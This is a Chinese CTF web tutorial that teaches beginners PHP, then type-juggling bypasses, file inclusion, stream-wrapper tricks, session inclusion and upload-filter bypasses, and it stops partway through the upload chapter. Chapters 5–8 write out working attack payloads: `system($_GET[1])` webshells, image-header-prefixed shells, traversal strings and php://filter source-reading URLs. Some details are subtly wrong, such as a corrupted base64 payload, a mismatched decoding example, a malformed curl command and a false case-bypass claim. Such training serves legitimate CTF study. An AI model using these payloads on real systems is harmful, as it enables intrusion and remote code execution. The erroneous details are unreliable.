CTF · WEB · PHP

零基础起步 · 由浅入深 · 含自测与详解

PHP 与 CTF Web 入门

面向零基础学习者的系统学案

从「什么是 CTF」讲到「拿到 flag」

语法速成 · 类型比较 · 文件包含 · 伪协议 · 上传 · 反序列化 · 命令执行 · 绕过技巧

适用人群：完全没写过 PHP、但想打 Web 方向 CTF 的同学

配套环境：PHP 7.x / 8.x 本地环境 + DVWA / BUUCTF 入门题

教师用书 · 含检查点与详解

目录

Contents

前言：这份学案怎么用 4

第 0 章 **5**

0.1 三个名词 5

0.2 一道 Web 题的完整流程 5

0.3 flag 通常藏在哪 5

第 1 章 **6**

1.1 最小 PHP 环境 6

1.2 三个必须记住的命令 6

1.3 phpinfo 能告诉你什么 6

1.4 常用外部工具 7

第 2 章 **8**

2.1 开场与注释 8

2.2 变量：全部以 $ 开头 8

2.3 字符串与拼接 8

2.4 数组（CTF 里最常被利用的类型） 9

2.5 函数 10

2.6 条件与循环 10

2.7 类型转换 11

第 3 章 **12**

3.1 = 与 == 与 === 12

3.2 数字字符串：科学计数法陷阱 12

3.3 松散比较的「0 家族」 13

3.4 绕过校验的通用套路（背下来） 14

第 4 章 **15**

4.1 八个超全局变量 15

4.2 攻击面清单模板（拿本子抄下来） 15

4.3 变量覆盖：extract 与可变变量 15

4.4 $_SERVER 的妙用 16

第 5 章 17

5.1 把字符串当函数调用 17

5.2 代码执行的几条路 17

5.3 命令执行函数一览 18

第 6 章 19

6.1 include 与 require 19

6.2 路径穿越：../ 与 \ 与 空字节 19

6.3 源码泄露：别只想着执行，先想着「读出来」 19

6.4 经典链条：上传 + 包含 + 临时文件 20

6.5 session 文件包含（更稳的同类手法） 20

第 7 章 22

7.1 常用伪协议速查 22

7.2 php://filter 读源码（最高频） 22

7.3 php://input 直接执行 22

7.4 data:// 造文件（需 allow_url_include=On） 23

7.5 phar:// —— 触发反序列化的钥匙 23

第 8 章 25

8.1 $_FILES 的结构 25

8.2 后缀黑名单绕过 25

8.3 前缀黑名单绕过 25

8.4 只校验「文件内容是不是图片」 26

8.5 落地目录不在网站根目录怎么办 26

第 9 章 28

9.1 序列化长什么样 28

9.2 漏洞入口：unserialize 吃了用户输入 28

9.3 魔术方法（POP 链的齿轮） 28

9.4 POP 链的思维方法（重点） 29

9.5 反序列化入门三题 30

第 10 章 31

10.1 判定类型：看危险函数 31
10.2 命令注入的连接符 31
10.3 绕过关键字过滤（cat / flag 被禁） 31
10.4 disable_functions 绕过 32
10.5 PHP 代码里的等价替代方案 32

第 11 章 34

11.1 侦察清单（做题前 5 分钟做完） 34
11.2 备份文件与版本管理 34
11.3 报错信息里有什么 34

第 12 章 36

题 1：登录绕过（类型比较） 36
题 2：文件包含读源码 36
题 3：上传绕过 + 临时文件包含 37
题 4：命令注入 + 关键字绕过 37

第 13 章 39

附录 A 40

附录 B 41

B.1 RCE 代码 41
B.2 文件读取 / 源码泄露 41
B.3 命令注入语句 41
B.4 绕过关键字 42
B.5 上传绕过 42
B.6 常用扫描命令 43

附录 C 44

前言：这份学案怎么用

这不是一本 PHP 教材，而是一本「为了拿 flag 而学 PHP」的操作手册。Web 方向的 CTF，核心永远是三件事：

1. 看清输入从哪来——用户能控制哪个变量？（$_GET / $_POST / $_COOKIE / 上传文件 / 头）
2. 看清危险函数在哪——include / eval / system / unserialize / file_get_contents …
3. 看清有没有「门禁」——正则、黑白名单、类型比较、include 路径限制

所以 PHP 语法只需要学到「能读懂源码 + 能写出 payload」的程度，不用去钻语法糖。

请按下面的方式使用本学案，配合老师课堂节奏：

阶段	怎么做	时间
通读第 0~2 章	理解 CTF 流程 + 装好环境 + PHP 语法速通	第 1~2 天
精读第 3~7 章	重点：类型比较、变量、文件包含、伪协议——Web 题 80% 考这里	第 3~7 天
查阅第 8~11 章	上传 / 反序列化 / 执行 / 绕过，题目碰到再学	第 8~12 天
完成第 13 章实战	4 道题跟做一遍，必须自己敲一遍代码	第 13~16 天
过附录	速查表贴在显示器边上，做题时当手册用	长期

※ 老师提示 学 Web 安全最忌讳「只看不做」。每看完一节，请立刻打开你的本地服务器，把示例代码敲进去、跑起来、改出报错。这份学案里的每一段代码都建议你亲手敲一遍。

易错点 本学案所有命令仅用于授权的 CTF 比赛与本地靶场。请勿在未授权的系统上测试，否则可能构成违法犯罪。

第 0 章 CTF 是什么，Web 题在考什么

0.1 三个名词

名词	全称	通俗解释
CTF	Capture The Flag	夺旗比赛。找到并提交旗子字符串 `flag{...}` 即得分
Web	Web 安全方向	考察网站程序的漏洞与利用
Payload	有效载荷	你构造的、能触发漏洞的那串数据/代码

0.2 一道 Web 题的完整流程

```
1) 侦察 nmap / 目录扫描 / 抓包看链接与参数
2) 拿源码 找 .phps、备份文件、.git、注释泄露、报错信息
3) 审源码 找 "用户输入" -> "危险函数" 之间有没有防护
4) 构造 payload 绕类型比较 / 绕黑名单 / 换协议
5) 验证 curl 或浏览器带上 payload 看结果
6) 读 flag cat /flag、highlight_file('/flag')、或 flag 在源码里
```

第 3 步「审源码」是全部功力所在，而它 90% 建立在PHP 语言知识上。

0.3 flag 通常藏在哪

- 远程文件系统：`/flag`、`/root/flag`、`/home/www/flag`、`/var/www/html/flag`
- PHP 源码文件里：注释掉的 `// $flag = 'xxx'`、变量里、被 unset 掉的字符串
- 环境变量、数据库、配置文件里
- 网站根目录的某个文本文件：`flag.txt`、`flag`、`f1ag_`

第 1 章 搭环境与工具箱

1.1 最小 PHP 环境

三种方式，任选其一。推荐方式 A，因为它跟 CTF 服务器环境最像（自带 Web 服务器）。

方式	做法	适用
A. 内置服务器	去 php.net 下载 Windows 版 zip 包（非 installer），解压后双击 `php.exe` 所在目录里运行 `php -S`	最推荐
B. Docker	`docker run -d -p 8000:80 -v %CD%:/var/www/html php:7.4-apache`	会 Docker 的同学
C. PHPStudy / XAMPP	图形化一键安装，含 Apache+MySQL+PHP	完全不想折腾命令行

1.2 三个必须记住的命令

```
# 启动本地服务器（把 8000 端口映射到当前目录）

php -S 127.0.0.1:8000



# 查看 PHP 版本（决定你能用什么漏洞）

php -v



# 直接执行一个文件，看输出/报错

php test.php



# 临时开启全部报错（调试神器）

php -d display_errors=1 -d error_reporting=E_ALL -S 127.0.0.1:8000
```

> 动手练 做一个工作目录：`E:\ctf\lab`，里面放 `index.php`。以后练习全部往这里丢。

1.3 phpinfo 能告诉你什么

```
<?php

phpinfo();

?>
```

在 CTF 里看到 `phpinfo()` 泄露的页面，务必 Ctrl+F 搜这几个关键词：

关键词	为什么重要
`disable_functions`	被禁用的函数列表。如果看到 `system`、`exec` 在里面，说明题目故意封了它，你要绕
`allow_url_include`	`On` 时可用 `data://`、远程包含
`allow_url_fopen`	同上，影响远程读文件
`open_basedir`	限制了能访问的目录，读 flag 常常要绕它
`phar.readonly`	`On` 时不能生成 phar，但不影响 phar 触发反序列化
`upload_tmp_dir`	上传文件临时目录，配合 session 包含有用
PHP 版本号	决定哪些老漏洞还能用（`/e` 修饰符、`%00` 截断等）

1.4 常用外部工具

- nmap：扫端口。CTF 里常见 80、8080、22、3306、6379、22 端口上可能藏着源码/数据库
- 目录扫描：gobuster / dirsearch / wfuzz，找 `.phps`、`.bak`、`robots.txt`
- Burp Suite：改包、看到每个请求参数，Web 题 90% 需要它
- phpggc：反序列化 POP 链生成器（PHPGGC 官网，搜 "PHPGGC"）
- Seer / GourdScan：php 源码审计辅助工具，会高亮危险函数（可选）

第 2 章 PHP 语法极速入门

这一章目标：看到一段 PHP 能立刻知道「哪个变量是用户可控的」。

2.1 开场与注释

```php
<?php
// 单行注释
# 井号也是单行注释
/* 多行
注释 */
/* 若是 ?> 后面写内容，会原样输出 */
?>
<html>这段是纯 HTML</html>
```

> 动手练 看到 ?> 后面有东西，说明那个 include 的文件可能是「有 PHP 代码 + 有 HTML 输出」的模板文件，这类文件最容易被读源码看出来。

2.2 变量：全部以 $ 开头

```php
<?php
$a = 1; // 赋值
$b = "hi"; // 字符串
$c = [1, 2, 3]; // 数组
$d = true; // 布尔
$e = null; // 空
echo $a; // 输出 1
echo $b; // 输出 hi
```

> ※ 老师提示 易错：PHP 变量不需要声明类型，而且用完不用 delete。另外 **$a** 和 **$A** 是两个不同变量，**$_GET** 和 **$_get** 也是两个。

2.3 字符串与拼接

```php
<?php
echo "hello"; // 双引号
echo 'hello'; // 单引号
```

```php
echo "a" . "b"; // 拼接用点 .
echo "a" . 1; // 得到 "a1"，PHP 会自动转字符串

// 双引号会解析转义，单引号不会
echo "1+1\n"; // 换行
echo '1+1\n'; // 字面的 \n
echo "$a"; // 变量会被替换
echo '$a'; // 输出字面量 $a

// 花括号明确边界（面试常考）
echo "abc{$a}def";
echo "abc${a}def";
```

> 易错点 别把点当加号：`echo "1" + "1";` 用的是加号，结果是数值 2，输出 2；想让它们拼成 11，必须写 `echo "1" . "1";`。记住：拼接永远是点。

2.4 数组（CTF 里最常被利用的类型）

```php
<?php
$arr = ['a', 'b', 'c'];
echo $arr[0]; // a，下标从 0 开始

$assoc = ['id' => 1, 'name' => 'tom'];
echo $assoc['name']; // tom

// 遍历
foreach ($assoc as $k => $v) {
echo "$k = $v\n";
}

// 判断
isset($arr[5]); // false，不报错
empty($arr[0]); // "a" 非空 -> false；"0" 和 "" 算空!
count($arr); // 3
array_keys($assoc); // ['id','name']
```

> ※ 老师提示 重要：empty() / isset() 在类型 juggling 里会被利用，因为字符串 "0" 被认为「空」。

2.5 函数

```php
<?php
function add($a, $b) {
return $a + $b;
}
echo add(1, 2); // 3

// 可变参数
function sum(...$nums) { // PHP 5.6+
return array_sum($nums);
}
echo sum(1, 2, 3); // 6

// 函数也是字符串，可以被变量调用（超重要！）
$f = 'add';
echo $f(1, 2); // 3
echo "函数存在吗：" . function_exists('add'); // 1
```

2.6 条件与循环

```php
<?php
if ($a > 3) {
echo "big";
} elseif ($a > 1) {
echo "mid";
} else {
echo "small";
}

// 三元与短标签
echo $a > 3 ? "big" : "small";
```

```php
echo $a ?: "默认"; // 省略中间条件的三元

echo $a ?? "没传"; // 空值合并运算符（??），非常常用


for ($i = 0; $i < 3; $i++) echo $i;

while ($i > 0) { $i--; }
```

动手练 `??` 一定要记住。反序列化里大量用 `$data['x'] ?? ''` 这种写法，它会直接影响你是否绕过校验。

2.7 类型转换

```php
<?php

var_dump((int)"1abc"); // int(1) 前导数字会被截取

var_dump((int)"abc"); // int(0)

var_dump((int)"0x1a"); // int(0) 注意不是 26

var_dump(intval("1abc")); // int(1)

var_dump("1abc" + 1); // int(2) 数字开头会被当成数字相加

var_dump("abc" + 1); // PHP7: int(1); PHP8: TypeError（字符串非法算术）

var_dump(1 == "1"); // bool(true)

var_dump(1 === "1"); // bool(false)
```

易错点 PHP 8 的一个重大变化：`"abc" + 1` 在 PHP 8 中直接抛 `TypeError: Unsupported operand types`。所以你在网上抄的老 payload，在新环境里可能直接报错。做题第一件事永远是 `php -v`。

第 3 章 弱类型与比较运算符（Web 题第一考点）

本章是整份学案最重要的一章。80% 的「源码看起来有校验但还是被绕过去了」都属于这一类。

※ 老师提示 关于本学案的写法：下面所有带「PHP 7.4: xxx / PHP 8.3: xxx」的结论，都是用 PHP 7.4.33 与 PHP 8.3.35 真机跑出来的，不是抄来的。凡是我实测发现和常见资料不一致的，我都在旁边标了「实测」。你也可以自己跑一遍——这正是学这一章的最好方法。

3.1 = 与 == 与 ===

写法	含义	例子
=	赋值	$a = 1
==	松散比较，会自动转换类型	0 == 'abc'
===	严格比较，类型和值都相同	0 === 'abc' → false
!= / !==	对应的不等	
<> / !=	同 ==	

```php
<?php
var_dump(0 == "abc"); // 实测 7.4: true 8.3: false
var_dump("abc" == 0); // 实测 7.4: true 8.3: false
// PHP 8 改了「数字 vs 非数字字符串」的比较规则，这是 7→8 最著名的 BC 断裂点之一
```

易错点 考试/面试最爱问的坑：如果目标是 PHP 7.x，`"abc" == 0` 为 true → 任何非数字串（连 abc 本身都行）都能绕过简单的密码/用户名校验。如果目标是 PHP 8，这条就废了，别浪费时间。

3.2 数字字符串：科学计数法陷阱

如果字符串两边能解析成数字，PHP 会把它当数字比较。形如 `0e...` 的字符串会被解析成数值 0，于是「不同的哈希/密码变成相等」。

```php
<?php
var_dump("0e123" == "0e456"); // bool(true) 两个都是 0
var_dump("1e1" == "10"); // bool(true) 10 == 10
var_dump("0x1A" == 26); // bool(false) 0x 不是 PHP 的数字格式

// 经典 md5 弱比较漏洞
if (md5($pass) == "0e462097431906509019562988736854") {
echo "success"; // 只要你传的数字串 md5 也是 0e 开头，就能进来
```

```
}
```

※ 老师提示 怎么利用：去找「0e 开头的 md5 碰撞串」，或用 hashcat / john 爆破。下表是本学案实测的一批（左边是明文，右边是它的 md5，都以 0e 开头，所以两两之间松散比较都相等）：

明文	md5 结果（全部 0e 开头）
240610708	0e462097431906509019562988736854
QNKCDZO	0e830400451993494058024219903391
aabg7XSs	0e087386482136013740957780965295
aabC9RqS	0e041022518165728065344349536299
s878926199a	0e545993274517709034328855841020
s155964671a	0e342768416822451524974117254469
s214587387a	0e848240448830537924465865611904

动手练 自己验一条：php -r "echo md5('QNKCDZO');"。别只背答案，要理解它为什么成立：只要两边都能被解析成数字，就按数字比；两个都等于 0，所以「谁都不等于谁」变成「谁都等于谁」。

3.3 松散比较的「0 家族」

```php
<?php
$a = "abc"; $b = true;
var_dump($a == $b); // true（true 转 1，"abc" 转 0，0==0）

$s = "flag";
var_dump(in_array($s, [0])); // PHP 7.4: true ; PHP 8.3: false（已修复）
var_dump(in_array($s, [0], true)); // false，第三个参数是严格比较，这是正解

var_dump(strcmp("abc", 0) == 0); // false（0 被转成字符串 "0"）
// PHP 7 的著名 bug：strcmp 收到数组参数返回 NULL，而 NULL == 0 为 true
var_dump(strcmp([], []) == 0); // PHP 7.4: true(!!) PHP 8.3: TypeError

var_dump("0" == false); // true
var_dump("0" == null); // false ← 网上很多题解写 true，是错的
var_dump("abc" == null); // false ← 同上
var_dump("" == null); // true （null 按 "" 参与比较）
```

```php
var_dump([] == false); // true （空数组按 false 参与比较）
```

> 易错点 坑："abc" == null 很多资料说是 true，实测（7.4.33 / 8.3.35）都是 false——因为 null 会被转成 空字符串 再做字符串比较。遇到任何不确定的类型比较，第一反应都是本地 var_dump 一下，别背题解。

3.4 绕过校验的通用套路（背下来）

源码里的校验	尝试的输入
`if ($_GET['p'] == 'xxx')`	传 `0` 或 `0e` 开头的数字串（PHP 7）
`if ($name == 'admin')`	`0` 即可（PHP 7 下任意非数字串都行，因为都会变成 0）
`if (strlen($s) > 5)`	传数组 `?s[]=x`：实测 PHP 7.4 中 `strlen([])` 返回 `null`，`null > 5` 为 false，直接绕过（PHP 8 会抛 TypeError）
`if ($arr['key'])`	传 `?key[]=0` 让它变数组，触发报错或绕过
`if (md5($p) == '0e…')`	找 3.2 节里那张表的 0e 明文
`if (intval($a) == intval($b))`	两边都传 `0`
`if ($a != null)`	传 `0`：实测 `0 != null` 为 false

> 动手练 万能试探法：参数后面加 `[]`，比如 `?a[]=1`。如果页面从「正常」变成「500 报错」，说明代码没做类型校验，这本身就是一个可利用的信号。

> 易错点 数组 vs 标量：`if ("abc" == $arr)` 这种比较在 PHP 8 会直接抛错。遇到报错别慌——报错信息本身就是线索。

第 4 章 超全局变量：用户的输入从哪来

「用户可控点」= 攻击面。审题第一步永远是把用户可控的输入全列出来。

4.1 八个超全局变量

变量	来源	CTF 常见玩法
$_GET	URL 查询串 ?a=1	最常用；$a=$_GET['x'] 传数组 → ?x[]=y
$_POST	表单 body	同上，形如 a[]=1
$_REQUEST	GET + POST + COOKIE 合并	有时 Cookie 更方便试
$_COOKIE	浏览器 Cookie	Cookie: role=admin
$_SESSION	会话数据（存在服务器文件里）	文件包含 + session 组合拳
$_FILES	上传文件	见第 8 章
$_SERVER	请求头等环境信息	HTTP_X_FORWARDED_FOR、PATH_INFO
$_ENV	环境变量	某些环境残留配置

4.2 攻击面清单模板（拿本子抄下来）

```
$_GET / $_POST / $_REQUEST / $_COOKIE 普通输入
$_FILES['xxx']['tmp_name'] 上传文件落地点
$_SERVER['PATH_INFO'] / 'QUERY_STRING' 路径/原始查询串
$_SERVER['HTTP_XXX'] 任意自定义请求头
php://input 原始 POST body
extract($_GET); 变量覆盖（几乎致命）
$GLOBALS 改全局变量
```

4.3 变量覆盖：extract 与可变变量

```
<?php
$a = "safe";
extract($_GET); // 危险! a 会被 GET 里的 a=xxx 覆盖
echo $a; // 现在你控制它了


$b = "safe";
$$b = "hacked"; // 可变变量：等价于 $safe = "hacked"
$c = "x";
```

```
${$c} = "y"; // 同样等价于 $x = "y"


$d = "flag";
$a = ['k' => 'flag'];
${$a['k']}; // 实测 7.4 / 8.3 都可用：等价于 $flag，拿到它的值
$$d; // 等价于 $flag → 'FLAG'


// 注意：$$a['k'] 和 $$a[0] 这种「数组直接解引用」写法在 7.4 / 8.3 实测均为
// NULL（$ 被当成了字符串 "Array"），别用！要写 ${$a['k']}
```

易错点 实测结论：**$$a['k']、$$a[0]** 在 PHP 7.4 和 8.3 上都拿不到值，正确写法是 **${$a['k']}**。

※ 老师提示 解题提示：看到 **extract($_GET)**，整道题就变成了「任何变量都能改」。你就可以去找：**$include_path、$filename、$cmd、$filter、$password**……任何变量都行。

4.4 $_SERVER 的妙用

```
<?php
// 判断是否本地访问 / 真实 IP
echo $_SERVER['REMOTE_ADDR'];
echo $_SERVER['HTTP_X_FORWARDED_FOR']; // 代理头，可伪造


// PATH_INFO 常被用来做路径穿越
// 访问 /index.php/a/../../etc/passwd
echo $_SERVER['PATH_INFO'];


// 把任意头变成变量（某些老 CTF 题）
foreach ($_SERVER as $k => $v) {
if (strpos($k, 'HTTP_') === 0) $k = substr($k, 5);
$GLOBALS[$k] = $v;
}
```

第 5 章 动态特性：PHP 最好用的地方

如果把 PHP 的漏洞排个名次，「一切皆可动态执行」绝对进前三。这也是 PHPGGC 存在的理由。

5.1 把字符串当函数调用

```php
<?php
$func = "phpinfo";
$func(); // 调用 phpinfo()


$cmd = $_GET['c'];
$cmd('ls'); // 等价于 system('ls')，前提是 $cmd='system'


// 变量函数 + 拼接绕过黑名单
$fn = 'sys'.'tem';
$fn('id'); // 同样能跑


// call_user_func 系列
call_user_func('phpinfo');
call_user_func_array('system', ['id']);
call_user_func($obj, 'method'); // PHP 7+: 传数组 ['obj','method'] 调实例方法
call_user_func('ClassName::staticMethod');
```

5.2 代码执行的几条路

函数	行为	备注（括号内为本学案实测版本）
`eval($code)`	把字符串当 PHP 代码执行	最经典，7.4 / 8.3 均可
`assert($code)`	PHP 7 会把字符串当代码 eval；PHP 8 改为抛 AssertionError，不再执行	只在 PHP 7.x 可当 RCE（7.4 实测会 eval）
`create_function($a,$b)`	动态生成函数	PHP 8 已移除（7.4 有、8.3 报 undefined function）
`preg_replace('/e', ...)`	/e 把替换结果当代码执行	PHP 5.5 废弃、PHP 7 已移除；7.4 实测直接返回 NULL
`array_map($cb, $arr)`	把 $cb 当回调逐个调用	实测 7.4 / 8.3 均 RCE，白名单绕过的常客
`array_filter($arr, $cb)`	同上，用回调返回值过滤	实测 7.4 / 8.3 均 RCE

函数	行为	备注（括号内为本学案实测版本）
`usort($a, $cb)`	把字符串当比较函数	回调被调但不保证有输出，技巧类 CTF 偶尔用

```php
<?php
// /e 修饰符（PHP < 7）的经典利用
// 题目: preg_replace("/php/", $_GET['x'], $_GET['y'])
// payload: 把分隔符换成 /php/e -> ?y=xxphp('id')phpxx
// PHP 7 已无 /e，实测 7.4 会 Warning 并返回 NULL，别在这上面浪费时间

// array_map / array_filter 白名单绕过（实测 7.4、8.3 都成立）
// 题目把 system|exec|passthru 都拉黑了，但 array_map 在白名单里：
// 源码大概是 array_map($cb, $_GET['a']);
// 绕过: ?cb=system&a[]=id
$cb = $_GET['cb']; $arr = $_GET['a'];
array_map($cb, $arr); // cb=system, a[0]=id => system('id') 直接出结果

// 同样能用 array_filter
array_filter(['id'], $cb); // cb=system => system('id')
```

> 易错点 别再用 `array_map(null, ...)` 这类老 payload：实测它在 7.4 / 8.3 上只是把数组打包成数组（`[[cb,arg]]`），根本不执行。网上的老题解要结合当时的 PHP 版本看。

5.3 命令执行函数一览

函数	有回显	能带参数	备注
`system`	是	是	最常用；shell 模式执行
`exec`	是（每行最后一个）	是	要 `-c`
`shell_exec`	是	是	等价于反引号 `` `ls` ``
`passthru`	是	是	不处理输出编码
`popen`	是	是	返回句柄，需 `pclose`
`proc_open`	是	是	最强，可跑交互命令
反引号	是	是	`` `ls` ``
`popen('id','r')`	是	是	读法同上

> 易错点 如果 `disable_functions` 把上面全禁了，别急着放弃——第 11 章会讲怎么绕。

第 6 章 文件包含与路径穿越

文件包含是把「一个文件的内容当作代码执行」。它的危险在于：如果你能控制包含的路径，你就等于能执行任意文件的内容。

6.1 include 与 require

写法	文件不存在时
include	警告，继续往下执行
include_once	警告，只包含一次
require	致命错误，停止
require_once	致命错误，只包含一次

```php
<?php
$page = $_GET['page'];
include($page);
// 攻击: ?page=php://filter/convert.base64-encode/resource=index.php
// 攻击: ?page=....//....//....//etc/passwd （Linux 上够不到 flag，但 Windows 上能）
```

6.2 路径穿越：../ 与 \ 与 空字节

```php
<?php
include("pages/" . $_GET['p'] . ".php");
?>
```

- Linux 用 / 分隔，Windows 用 \；两者都能穿越
- ../ 逐级回退，深度要够（试试 5~10 层）
- Windows 特有：..\、盘符 C:/、NTFS 数据流 flag.txt::$DATA、文件名尾部加空格或点会被 Windows 抹掉

绕过手段	写法	生效条件
多层穿越	?p=....//....//....//etc/passwd	总是可用
双写/绝对路径	?p=/etc/passwd	include 允许绝对路径
空字节截断	?p=../../flag%00	PHP < 5.3.4（老赛题才有）
Windows 反斜杠	?p=..\..\flag	服务器是 Windows
软链接	服务器上已有 /tmp/x -> /flag	需先有命令执行

6.3 源码泄露：别只想着执行，先想着「读出来」

```
# 尝试这些后缀/文件，很多老题直接把源码放出来了

index.php.bak index.php~ index.php.swp index.php.1

index.phps index.php.old index.php.save

index.php.7z index.phps .index.php.swp #vi 备份

.git/config .svn/entries .DS_Store

.zip .rar .tar.gz .7z robots.txt

composer.json composer.lock vendor/

web.config Dockerfile

phpinfo.php test.php .env

.php7 .phtml .phar .inc
```

> 动手练 万能一步：http://目标/index.php~、http://目标/index.phps、http://目标/.git/HEAD。三个都试一下，有惊喜的概率很高。

6.4 经典链条：上传 + 包含 + 临时文件

这是初学者最该掌握的一个套路，因为「不能上传 php」几乎总能用它绕过去。

```
步骤：

1) 找到一个接受文件上传的参数（哪怕只能传图片）

2) PHP 会把文件先放到临时目录

Linux: /tmp/phpXXXXXX

Windows: %TEMP%\phpXXXXXX

实际就是 C:\Users\你的用户名\AppData\Local\Temp\phpXXXXXX

（若 Web 服务跑在别人账号下，可能是 C:\Windows\Temp\phpXXXXXX）

文件名随机，最好用 phpinfo() 里的 upload_tmp_dir 确认准确目录

3) 找到「本地文件包含」漏洞：include($_GET['f'])

4) 让上传和包含「同时发生」—— 用并发请求：

线程1: 持续 POST 上传

线程2: 持续 GET 包含 /tmp/phpXXXXXX

靠爆破在有效期内猜到文件名

5) 或者更稳：上传时用 Cookie 固定 session id，

让临时文件名可预测（见 6.5）
```

6.5 session 文件包含（更稳的同类手法）

PHP 默认把 session 存成文件：`/tmp/sess_<sessionid>`。如果你能把 PHP 代码写进 session 文件，再用 include 包含它，就 RCE 了。

```
<?php
// session.upload_progress 特性（PHP 5.4+，默认开启）
// 只要 session.upload_progress.enabled=On 且 session.use_strict_mode=0，
// 上传表单里带一个 PHP_SESSION_UPLOAD_PROGRESS 字段，
// PHP 就会把进度写进 session 文件，内容可控！
// 文件内容形如：
// upload_progress_xxx|a:5:{...s:10:"filename";s:8:"evil.php";...}
// 构造 filename 为 <?php system($_GET[1]);?> 就能注入
//
// 触发包含：
// include('/tmp/sess_'.$sid);
// cookie: PHPSESSID=<你的sid>
// 字段: PHP_SESSION_UPLOAD_PROGRESS=<x>
```

※ 老师提示 看到 `session.save_path` 不为空就说明有戏。还有 session 变量可控的话题：如果题目有 `$_SESSION['x']` 来自用户输入且被 include，就是同类漏洞。

第 7 章 伪协议：不用文件也能读/执行

php:// 系列是 PHP 的流包装器（Stream Wrapper）。它们让「一个字符串」变成「一个可被 include/打开的虚拟路径」，是 CTF 的送分题。

7.1 常用伪协议速查

协议	作用	典型用途
php://input	读取原始 POST body	配合 eval($_POST['x']) 直接执行
php://filter	对读取到的内容做转换	源码泄露神器：base64 编码绕过 include 直接执行报错
data://text/plain;base64,	把 base64 当文件	远程包含写文件：需 allow_url_include=On
data://text/plain,	明文数据流	同上，需 URL 编码
expect://	交互流	用于漏洞利用（如文件名解析）
phar://	访问 phar 压缩包内部的文件	反序列化触发器（见第 9 章）
zip://	访问 zip 内文件	上传 zip 后包含其中 php
glob://	文件列表	列目录（老版本）

7.2 php://filter 读源码（最高频）

```
# 目标源码
<?php
highlight_file('index.php'); // 或者 include($_GET['f']);


# 攻击：把 index.php base64 编码后再 include，PHP 不会执行而会输出编码结果
http://target/index.php?f=php://filter/convert.base64-encode/resource=index.php


# 然后本地 base64 -d
echo "Y3VybDovInRhcmdldC9pbmRleC5waHA/dGVzdA==" | base64 -d
```

※ 老师提示 为什么这招万能：include 一个编码后的字符串时，PHP 发现里面没有 <?php，就原样输出。所以任何「能控制 include 路径」的漏洞，都能拿来读源码。

动手练 base64 解不出来时，试试多层过滤链或换编码：convert.iconv.UTF-8.CSISO2022KR 过滤链能绕 WAF。

7.3 php://input 直接执行

```php
<?php
// 题目：eval($_POST['x']); —— 注意页面用了 application/x-www-form-urlencoded
// php://input 只有在 Content-Type 不是 multipart/form-data 时才有效
$code = file_get_contents("php://input");
eval($code); // => POST body 直接就是 PHP 代码
?>
```

```
curl -X POST http://target/ \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '<?php system($_GET[1]);?>' '' http://target/?1=id
```

7.4 data:// 造文件（需 allow_url_include=On）

```
# 不用上传，直接 include 一段 base64 PHP
php -r 'echo base64_encode("<?php system(\$_GET[1]);?>");'
# => PD9waHAgc3lzdGVtKCRfROVUWzFdKTs/Pg==

# 利用
http://target/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfROVUWzFdKTs/Pg==
&1=id
```

> 易错点 如果 base64 里带 +、/、=，可能被服务器当路径吃掉。用 php://filter/convert.base64-decode|convert.base64-encode/resource=data://text/plain;base64,xxx 兜底。

7.5 phar:// —— 触发反序列化的钥匙

```
# 原理：phar:// 归档里的任意文件都能被当成普通文件读
http://target/index.php?f=phar://evil.phar/a.php

# 关键点：很多「读文件」函数在读到 phar 归档时，
# 会自动去解析它的元数据 -> 触发 unserialize
file_exists('phar://evil.phar/x'); // 触发
is_file('phar://evil.phar/x'); // 触发
file_get_contents('phar://evil.phar/x');// 触发
fopen('phar://evil.phar/x','r'); // 触发
file_exists('phar://a.jpg/x'); // 只要 a.jpg 是个 phar 就能触发!
```

※ 老师提示 phar 文件的钥匙：不是「文件扩展名」也不是「magic bytes」，而是文件任意位置出现 `__HALT_COMPILER(); ?>` 后紧跟 phar 的文件头数据。所以你可以在任何你能写进服务器的文件（如上传的 jpg、log、缓存）里追加 phar 尾部数据，把它变成「伪装成 jpg 的 phar」。

第 8 章 文件上传

8.1 $_FILES 的结构

```
$_FILES['avatar'] = array(
'name' => 'a.php', // 原始文件名
'type' => 'image/jpeg', // 浏览器给的 MIME，可以伪造
'tmp_name' => '/tmp/php7f3a1', // 临时文件，服务端随机名
'error' => 0, // 0 = 成功
'size' => 1234,
);

move_uploaded_file($_FILES['f']['tmp_name'], './'.$newname); // 落地
```

8.2 后缀黑名单绕过

上传名	为什么能过	备注
a.phtml	很多服务器也当 PHP 解析	Apache AddHandler
a.php3/4/5/7	老 Apache 备用扩展名	很多已关闭
a.phar	php 默认把 .phar 当 PHP 执行	非常容易被忽略
a.pht	某些 Nginx 规则会中招	
a.PHP / a.PhP	黑名单用 strcasecmp 就绕过了；用 switch 也很容易漏	大小写
a.php.jpg	某些 Apache 配置下 .php. 之后任意内容都当 PHP 解析	Windows 经典
a.php. / a.php	Windows 会把尾部的点和空格去掉，变成 a.php	服务端必须是 Windows
a.jpg%00.php	空字节截断	PHP < 5.3.4
a.php::$DATA	NTFS 数据流	Windows 服务器

8.3 前缀黑名单绕过

有些题写的是 preg_match('/php|flag/i', $name) 这类前缀匹配。

```
# 1) 换扩展名
a.phtml a.pht a.phar a.inc a.php7

# 2) 只检查最后一个 '.' 之后
```

```
a.php.jpg -> 取 jpg，但 Apache 可能仍解析 php

a.php. -> 尾部无内容，Windows 去掉尾部点


# 3) 让校验和落地用不同的变量!

<?php

# 错误示范（题目漏洞）：

$name = $_FILES['f']['name'];

if (!preg_match('/php/i', $name)) { ok(); }

# 但后面写的是：

move_uploaded_file($tmp, './'.$_FILES['f']['name']);

# 或者校验了 $name，实际落地用的是 $newname（由你可控的另一个参数拼出来）


# 4) 双变量

# ?filename=shell.php POST 文件名叫 a.jpg

# 题目拼接时可能变成 shell.php.jpg 或 a.jpg 混用
```

8.4 只校验「文件内容是不是图片」

```
<?php

$finfo = new finfo(FILEINFO_MIME_TYPE);

$type = $finfo->file($tmp);

if ($type == 'image/jpeg' || $type == 'image/png') { ok(); }

?>
```

两种绕过思路：

1. 伪造头部：在 PHP 代码前面加上一段真实的图片二进制（GIF89a / PNG 8 字节签名 / JFIF 头）。PHP 允许文件里有图片后面跟着 `<?php`。
2. 利用解析差异：题目用 `getimagesize()` 判断，但用 `exif_imagetype()` 判断的结论可能不同；更极端的：文件前面塞 `GIF89a` 让它骗过检查。

```
GIF89a<?php system($_GET['1']);?> # 过 getimagesize 的老写法

\x89PNG\r\n\x1a\n<?php system($_GET['1']);?> # PNG 签名 + 代码

